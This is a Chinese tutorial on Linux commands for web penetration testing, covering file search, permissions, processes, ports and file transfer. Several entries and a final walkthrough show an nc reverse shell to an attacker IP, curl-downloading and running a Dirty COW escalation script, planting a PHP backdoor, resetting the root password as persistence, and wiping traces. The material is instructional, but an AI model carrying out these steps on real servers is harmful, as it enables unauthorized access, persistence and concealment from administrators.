Web渗透必备:Linux系统与50+核心命令实战指南

在Web安全领域,70%以上的Web服务器运行在Linux系统(如Apache、Nginx、Tomcat多部署于Ubuntu、CentOS)。渗透测试中,无论是获取目标服务器权限后查看日志、定位配置文件,还是上传漏洞利用脚本、执行命令,都离不开Linux命令。本文遵循“少而精”原则,聚焦50+最常用命令(覆盖90%渗透场景),结合真实渗透场景讲解用法。

一、Linux基础认知:先搞懂“渗透中用得到的核心概念”

学习命令前,先明确Linux与Windows的核心差异,以及渗透中高频接触的系统特性——这些是理解命令用途的基础。

1.1 Linux的3个核心特点(渗透视角)

  • 多用户多任务:支持同时登录多个用户(如root管理员、www-data Web服务用户),渗透中常需切换用户查看权限差异(如www-data用户能否读取数据库配置);
  • 命令行优先:图形界面非必需,服务器多为“最小化安装”(仅命令行),渗透中所有操作均通过命令行完成;
  • 文件系统树形结构:所有文件从根目录/开始,无“C盘/D盘”概念,渗透高频目录需牢记:
    目录路径 渗透场景用途
    /var/www/html 主流Web根目录(Apache/Nginx默认),常放网页文件、配置文件
    /var/log 系统/应用日志目录(如Web访问日志apache2/access.log、系统日志auth.log
    /etc 系统配置目录(如Web服务配置httpd/httpd.conf、数据库配置mysql/my.cnf
    /tmp 临时目录(可写权限高,渗透中常用来上传漏洞利用脚本、存放临时文件)
    /home 普通用户家目录(如/home/user),可能存放用户私钥、配置文件
    /root root管理员家目录(最高权限目录,渗透提权后重点查看)

1.2 命令行基础:3个必备操作

  • 命令格式命令 [选项] [参数](如ls -l /var/wwwls是命令,-l是选项,/var/www是参数);
  • 快捷键
    • Tab:自动补全命令/路径(渗透中避免输错长路径,如/var/log/apache2/可输/v/l/a后按Tab补全);
    • Ctrl+C:终止当前命令(如执行ping baidu.com后,按Ctrl+C停止);
    • Ctrl+L:清屏(日志输出太多时用,比clear命令更快捷);
  • 帮助查询:忘记命令用法时,用命令 --help(简洁帮助)或man 命令(详细手册),如ls --helpman find

二、模块1:文件操作与查找(渗透中70%场景会用到)

Web渗透本质是“找文件、读内容、改权限”——这部分15+命令是核心,涵盖从“定位文件”到“编辑内容”的全流程。

2.1 基础导航:3个命令搞定“去哪里、在何处”

命令 用途 基本语法 常用选项 渗透场景示例
pwd 显示当前所在路径 pwd 渗透中刚获取shell,执行pwd确认当前目录(如/tmp
cd 切换目录 cd 目标路径 cd ..(回上级)
cd ~(回当前用户家目录)
cd -(回上一次目录)
1. 从/tmp切换到Web根目录:cd /var/www/html
2. 回上级目录查看配置:cd /etc/httpd/conf && cd ..
ls 列出目录下文件/文件夹 ls [选项] 路径 -l(详细列表,含权限、大小)
-a(显示隐藏文件,如.htaccess
-h(大小人性化,如KB/MB)
1. 查看Web目录文件及权限:ls -l /var/www/html
2. 找隐藏配置文件:ls -a /etc/nginx/

2.2 内容查看:5个命令“读日志、找密码”

命令 用途 基本语法 常用选项 渗透场景示例
cat 一次性显示文件全部内容 cat 文件名 -n(显示行号,便于定位) 查看Web配置文件找数据库密码:cat -n /var/www/config.php
more 分页显示长文件(向下翻) more 文件名 空格(翻页)、q(退出) 查看系统安全日志(内容多):more /var/log/auth.log
less 分页显示(可上下翻) less 文件名 上下箭头(翻行)、/关键词(搜索)、q(退出) 渗透中在Web日志找SQL注入请求:less /var/log/apache2/access.log → 输入/union select搜索
tail 查看文件末尾内容 tail 文件名 -f(实时跟踪,日志更新时自动显示)
-n 10(显示最后10行,默认10行)
实时监控Web访问日志,看是否有自己的渗透请求:tail -f /var/log/apache2/access.log
head 查看文件开头内容 head 文件名 -n 5(显示前5行) 查看/etc/passwd前10个用户(判断是否有异常用户):head -n 10 /etc/passwd

2.3 文件操作:4个命令“传文件、改名字”

命令 用途 基本语法 常用选项 渗透场景示例
cp 复制文件/文件夹 cp 源路径 目标路径 -r(复制文件夹,递归) 1. 备份Web配置文件(改配置前必做):cp /etc/nginx/nginx.conf /tmp/nginx.conf.bak
2. 复制漏洞利用脚本到/tmpcp /home/user/exploit.sh /tmp/
mv 移动/重命名文件 mv 源路径 目标路径 1. 重命名恶意脚本(躲避检测):mv exploit.sh test.sh
2. 把上传的后门移动到Web根目录:mv /tmp/backdoor.php /var/www/html/
rm 删除文件/文件夹 rm 路径 -f(强制删除,不提示)
-r(删除文件夹,递归)
1. 删除临时文件(清理痕迹):rm -f /tmp/test.sh
2. 删除无用的Web目录(谨慎!):rm -rf /var/www/oldsite-rf=强制删文件夹)
touch 创建空文件/更新文件时间 touch 文件名 渗透中创建测试文件,判断目录是否可写:touch /var/www/html/test.txt(能创建说明目录有写权限)

2.4 目录操作:2个命令“建目录、删目录”

命令 用途 基本语法 常用选项 渗透场景示例
mkdir 创建目录 mkdir 目录名 -p(创建多级目录,父目录不存在时自动创建) 渗透中创建存放工具的目录:mkdir -p /tmp/tools/exploit
rmdir 删除空目录 rmdir 目录名 无(仅能删空目录,非空目录用rm -r 删除空的临时目录:rmdir /tmp/empty_dir

2.5 高级查找:2个命令“精准定位关键文件”

渗透中最核心的命令!用于找配置文件、日志、密码文件。

命令 用途 基本语法 常用选项&参数 渗透场景示例
find 按路径/名称/类型查找文件 find 查找路径 选项 参数 -name "关键词"(按名称找,支持通配符*
-type f(找文件)、-type d(找目录)
-size +10M(找大于10MB的文件)
-exec 命令 {} \;(找到后执行命令,{}代指找到的文件)
1. 全系统找Web配置文件:find / -name "*.conf" -type f*.conf匹配所有配置文件)
2. 找/var/www下含“password”的PHP文件:find /var/www -name "*.php" -type f -exec grep "password" {} \;
grep 按关键词搜索文件内容 grep "关键词" 文件名/路径 -i(忽略大小写)
-n(显示行号)
-v(反向匹配,排除关键词)
-r(递归搜索目录下所有文件)
1. 在Web配置中找数据库密码:grep -n "db_password" /var/www/config.php
2. 递归搜索/etc目录下含“mysql”的配置:grep -r "mysql" /etc/

三、模块2:用户与权限管理(渗透提权的核心)

Linux权限严格区分“读(r)、写(w)、执行(x)”,渗透中“能否修改文件、能否执行脚本、能否切换root”全靠权限命令。

3.1 权限查看:1个命令“判断文件可操作范围”

命令 用途 基本语法 输出解读(以ls -l为例) 渗透场景示例
ls -l 查看文件权限、所有者 ls -l 路径 示例输出:-rwxr-xr-- 1 root www-data 1234 May 20 14:30 exploit.sh
- 第1-10位:权限(rwx所有者、r-x组用户、r--其他用户)
- 第3列:所有者(root)
- 第4列:所属组(www-data)
渗透中判断脚本能否执行:ls -l /tmp/exploit.sh → 若所有者权限含x(如rwx),则可执行

3.2 权限修改:3个命令“改权限、换所有者”

命令 用途 基本语法 常用选项/参数 渗透场景示例
chmod 修改文件/目录权限 两种格式:
1. 数字法:chmod 755 路径
2. 符号法:chmod +x 路径
数字对应权限:
r=4w=2x=1(如7=4+2+1=rwx,5=4+1=r-x)
符号法:+x加执行权、+w加写权、-r减读权
1. 给漏洞利用脚本加执行权(必做):chmod +x /tmp/exploit.shchmod 755 /tmp/exploit.sh
2. 给Web配置文件加写权(改配置):chmod +w /etc/nginx/nginx.conf
chown 修改文件所有者 chown 用户名:组名 路径 -R(递归修改目录下所有文件) 渗透中让www-data用户拥有脚本权限:chown www-data:www-data /var/www/exploit.sh(Web服务用户常为www-data)
chgrp 修改文件所属组 chgrp 组名 路径 -R(递归) 把目录所属组改为www-data:chgrp -R www-data /var/www/html

3.3 用户切换:2个命令“切换身份查权限”

命令 用途 基本语法 核心差异 渗透场景示例
su 切换用户(完全切换环境) su 用户名 不加用户名默认切root,需输入目标用户密码 1. 从普通用户切root:su root → 输入root密码
2. 切到www-data用户(查看Web权限):su www-data
sudo 以其他用户身份执行命令(临时权限) sudo 命令 需当前用户在sudoers配置中(如user ALL=(ALL) ALL),输入当前用户密码 渗透中用sudo执行高权限命令:sudo cat /etc/shadow/etc/shadow存用户密码哈希,仅root可读,sudo临时提权)

3.4 用户管理:4个命令“查用户、改密码”(渗透中判断账户安全性)

命令 用途 基本语法 渗透场景示例
useradd 创建用户 useradd 用户名 (渗透中少用,多为查看)创建测试用户:useradd test
userdel 删除用户 userdel 用户名 删除异常用户(清理痕迹):userdel -r test-r连家目录一起删)
passwd 修改用户密码 passwd 用户名 渗透中获取root后改密码(留后门):passwd root → 输入新密码
id 查看当前用户身份信息 idid 用户名 渗透中确认当前权限:id → 输出uid=0(root) gid=0(root)表示root权限

四、模块3:进程与端口管理(渗透中“找服务、杀进程”)

Web服务器运行的Apache、Nginx、MySQL等服务,本质都是“进程”;渗透中需查看“哪些服务在运行、开放了哪些端口”,甚至终止异常进程。

4.1 进程查看:2个命令“找服务、看资源”

命令 用途 基本语法 常用选项 渗透场景示例
ps 查看当前进程快照 ps [选项] -aux(查看所有用户的所有进程,最常用)
-ef(查看进程父子关系)
1. 找Web服务进程(如Nginx):`ps aux
top 实时查看进程资源占用 top 快捷键:
P按CPU占用排序
M按内存占用排序
q退出
渗透中看是否有异常进程(如高CPU占用的挖矿进程):top → 观察COMMAND列是否有陌生进程

4.2 进程终止:2个命令“杀进程、清服务”

命令 用途 基本语法 常用选项 渗透场景示例
kill 按进程ID(PID)杀进程 kill [选项] PID -9(强制终止,最常用,避免进程残留) 1. 先查Nginx的PID:`ps aux
killall 按进程名杀所有进程 killall 进程名 -9(强制) 批量终止所有nginx进程:killall -9 nginx(比kill更方便,无需查PID)

4.3 端口查看:3个命令“找开放端口、关联服务”

渗透中“端口=服务入口”(如80=HTTP、443=HTTPS、3306=MySQL、22=SSH),需确认目标开放哪些端口。

命令 用途 基本语法 常用选项 渗透场景示例
netstat 查看网络连接、端口 netstat [选项] -tulnp(最常用组合):
-t显示TCP端口
-u显示UDP端口
-l显示监听端口
-n显示IP/端口(不解析域名)
-p显示关联进程
查看所有开放的监听端口及对应服务:netstat -tulnp → 可看到“0.0.0.0:80”(80端口监听所有IP)、“127.0.0.1:3306”(MySQL仅本地监听)
ss 替代netstat(更快) ss [选项] -tulnp(同netstat) 效果同netstat,在部分系统(如CentOS 7+)中netstat需手动安装,ss默认自带:`ss -tulnp
lsof 查看文件/端口关联的进程 lsof -i :端口 -i按网络连接过滤 查看80端口关联的进程:lsof -i :80 → 输出中COMMAND列显示服务名(如nginx)

五、模块4:网络操作与数据传输(渗透中“传文件、测连通”)

渗透中常需“从本地传脚本到目标服务器”“从目标下载日志/配置文件”“测试目标与其他服务器的连通性”,这部分命令是“数据流转的关键”。

5.1 连通性测试:2个命令“测网络、追路由”

命令 用途 基本语法 常用选项 渗透场景示例
ping 测试目标IP/域名连通性 ping 目标IP/域名 -c 4(发送4个包后停止,默认无限发送) 1. 测试目标服务器是否在线:ping 192.168.1.100 -c 4
2. 测试服务器能否访问外网(判断是否出网):ping baidu.com -c 4(能通则可尝试外连攻击机)
traceroute 追踪数据包传输路径 traceroute 目标IP/域名 (Windows对应tracert)渗透中判断目标服务器是否在局域网:traceroute 192.168.1.100 → 若路径只有1跳,说明在同一局域网

5.2 文件传输:4个命令“上传、下载、远程传”

渗透中最常用的文件传输方式,覆盖“本地→目标”“目标→本地”“目标→其他服务器”场景。

命令 用途 基本语法 渗透场景示例
curl 下载文件/发送HTTP请求 curl 选项 目标URL -O(下载文件,保存为原文件名)
-L(跟随重定向)
wget 下载文件(支持断点续传) wget 目标URL -c(断点续传,适合大文件)
-O 新文件名(指定保存文件名)
scp 基于SSH远程传文件 本地→远程:scp 本地文件 用户名@远程IP:远程路径
远程→本地:scp 用户名@远程IP:远程文件 本地路径
-r(传文件夹)
python HTTP服务 临时开HTTP服务传文件 Python2:python -m SimpleHTTPServer 端口
Python3:python3 -m http.server 端口
无(默认共享当前目录文件)

5.3 网络配置:2个命令“看IP、改网卡”

命令 用途 基本语法 渗透场景示例
ifconfig 查看/配置网卡信息 ifconfigifconfig 网卡名 (部分系统需安装net-tools)查看目标服务器IP:ifconfig → 找inet后的IP(如inet 192.168.1.100
ip 替代ifconfig(更全面) ip addr(查看IP)
ip link(查看网卡)
查看IP:ip addr → 效果同ifconfig,默认自带(CentOS 7+、Ubuntu 16+推荐用)

六、模块5:系统信息与资源监控(渗透中“摸透目标服务器”)

获取目标权限后,需快速了解服务器配置(如系统版本、CPU、内存、磁盘),判断能否承载漏洞利用、是否有足够空间存放文件。

命令 用途 基本语法 渗透场景示例
uname 查看系统内核/版本信息 uname -a(显示所有信息,最常用) 渗透中判断系统版本(选对应漏洞利用脚本):uname -a → 输出含“Ubuntu 20.04”“Linux 5.4.0”
hostname 查看主机名 hostname 判断服务器用途(如web-server-01可能是Web服务器):hostname
whoami 查看当前登录用户名 whoami 渗透中确认当前权限(最常用命令之一):whoami → 输出root表示最高权限,www-data表示Web服务权限
w 查看当前登录用户及活动 w 渗透中判断是否有其他用户在线(避免冲突):w → 看USER列是否有除自己外的用户
last 查看用户登录历史 last 渗透中找异常登录(如陌生IP登录):last → 看FROM列(登录IP)和LOGIN@(登录时间)
df 查看磁盘空间使用情况 df -h-h人性化显示,如GB/MB) 渗透中判断磁盘是否有空间(上传文件、生成日志):df -h → 看Avail列(可用空间)
du 查看文件/目录大小 du -sh 路径-s显示总大小,-h人性化) 渗透中看日志文件大小(是否需要清理):du -sh /var/log/apache2/
free 查看内存使用情况 free -h 渗透中判断内存是否充足(执行内存占用高的漏洞利用脚本):free -h → 看available列(可用内存)
uptime 查看系统运行时间 uptime 渗透中判断服务器是否刚重启(可能是管理员维护):uptime → 输出up 2 days, 3 hours表示运行2天3小时

七、模块6:渗透专用工具命令(漏洞利用必备)

渗透中常需编译漏洞利用脚本、执行网络工具,这些命令是“从‘获取权限’到‘提权’的桥梁”。

命令 用途 基本语法 渗透场景示例
gcc C语言编译器(编译漏洞利用脚本) gcc 源码文件 -o 输出可执行文件 编译缓冲区溢出漏洞利用脚本:gcc exploit.c -o exploit → 生成exploit可执行文件
make 批量编译(复杂源码) make(需当前目录有Makefile 编译内核漏洞提权工具(如Dirty COW):cd /tmp/dirtycow && make
nc 网络工具(端口扫描、反弹shell) 常用场景:
1. 反弹shell:nc 攻击机IP 端口 -e /bin/bash
2. 监听端口:nc -lvp 端口-l监听、-v详细、-p指定端口)
1. 攻击机监听8888端口:nc -lvp 8888
2. 目标机反弹shell到攻击机:nc 攻击机IP 8888 -e /bin/bash(获取目标shell)
nmap 端口扫描(简单用法) nmap 目标IP(默认扫描1000个常用端口) 渗透前期扫描目标开放端口:nmap 192.168.1.100 → 显示“80/tcp open http”“22/tcp open ssh”
tar 压缩/解压文件(处理日志、工具包) 压缩:tar -zcvf 压缩包.tar.gz 目录
解压:tar -zxvf 压缩包.tar.gz
1. 打包Web日志(下载到本地分析):tar -zcvf logs.tar.gz /var/log/apache2/
2. 解压漏洞利用工具包:tar -zxvf exploit-tools.tar.gz

八、实战场景:综合命令示例(渗透中“一套流程走下来”)

假设你已获取目标Linux服务器的www-data权限,需完成“找Web配置→看数据库密码→下载日志→上传提权脚本→执行提权”,命令流程如下:

  1. 确认当前权限与目录

    whoami  # 输出www-data,确认权限
    pwd     # 假设当前在/tmp
    cd /var/www/html  # 切换到Web根目录
    
  2. 找Web配置文件,提取数据库密码

    ls -l  # 看是否有config.php、db.php等配置文件
    cat config.php | grep -i "password"  # 在配置文件中找密码(忽略大小写)
    # 假设输出:$db_pass = "MySQL@123456";  得到数据库密码
    
  3. 查看Web访问日志,找异常请求

    tail -f /var/log/apache2/access.log  # 实时看日志,确认自己的请求是否被记录
    grep "union select" /var/log/apache2/access.log  # 找是否有其他SQL注入请求
    
  4. 从攻击机下载提权脚本到目标

    # 攻击机先执行:python3 -m http.server 8080(共享提权脚本dirtycow.sh)
    curl -O http://攻击机IP:8080/dirtycow.sh  # 目标机下载脚本
    chmod +x dirtycow.sh  # 加执行权限
    ./dirtycow.sh  # 执行提权脚本
    
  5. 提权后清理痕迹

    whoami  # 输出root,确认提权成功
    rm -f dirtycow.sh  # 删除提权脚本
    rm -f /var/www/html/test.txt  # 删除测试文件
    

九、学习建议:3步掌握Linux命令(渗透视角)

  1. 搭建环境,边练边记

    • 用VMware/VirtualBox装Ubuntu 20.04(贴近服务器环境),不要装图形界面;
    • 每天花30分钟,围绕“渗透场景”练习命令(如模拟“找配置文件→改权限→传文件”)。
  2. 优先记“渗透高频命令”

    • 第一优先级(每天用):ls、cd、pwd、cat、grep、find、chmod、whoami、ps、netstat、curl、wget
    • 第二优先级(提权/传文件用):su、sudo、kill、scp、python http.server、gcc、tar
  3. 遇到问题,善用“即时查询”

    • 忘记命令选项:命令 --help(如find --help);
    • 不知道怎么找文件:百度“Linux 找包含密码的配置文件”,优先看Stack Overflow、CSDN的实战文章。
Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐